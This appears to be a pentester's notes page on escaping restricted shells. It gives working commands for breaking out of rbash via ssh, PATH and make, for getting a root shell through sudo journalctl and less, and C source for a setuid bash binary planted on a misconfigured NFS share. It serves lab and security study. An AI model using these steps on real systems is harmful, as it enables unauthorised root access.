Jailbreaks
Escape
rbash
It's possible to do it directly connecting with
ssh
:
ssh -i priv_key drno@10.10.10.124 -t bash
Or directly changing the
PATH
:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Is also possible by using
make
. First sets a variableCOMMAND
with the value/bin/bash
:
COMMAND='/bin/bash'
Then, execute
make
in silent mode (-s
) and evaluates the stringx:
containing the shell:
make -s --eval=$'x:\n\t-'"$COMMAND"
Finish it up by fixing the
PATH
:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
sudo journalctl
via
less
journalctrl
will output to stdout if it can fit onto the current page, but intoless
if it can’t.
When invoked with
sudo
is possible to have code execution asroot
just by pressing!
in theless
environment.
Escaping via
NFS UID/GID
Manipulation
Prerequisites
NFS
server must allow arbitraryUID/GID
mappings (no_root_squash
,no_all_squash
, or similar).Access to a writable directory on the
NFS
share.Ability to execute compiled binaries on the
NFS
share.
#include <stdlib.h>
#include <unistd.h>
int main() {
setreuid(1000, 1000);
setregid(1000, 1000);
system("/bin/bash");
return 0;
}
gcc -static shell.c -o shell
chmod ug+s /mnt/shell
/var/nfsshare/shell
This same technique could be used to escalate privilege to root by using
SUID
andSGID
of 0 if theNFS
share is configured with theno_root_squash
orno_all_squash
options.
Last updated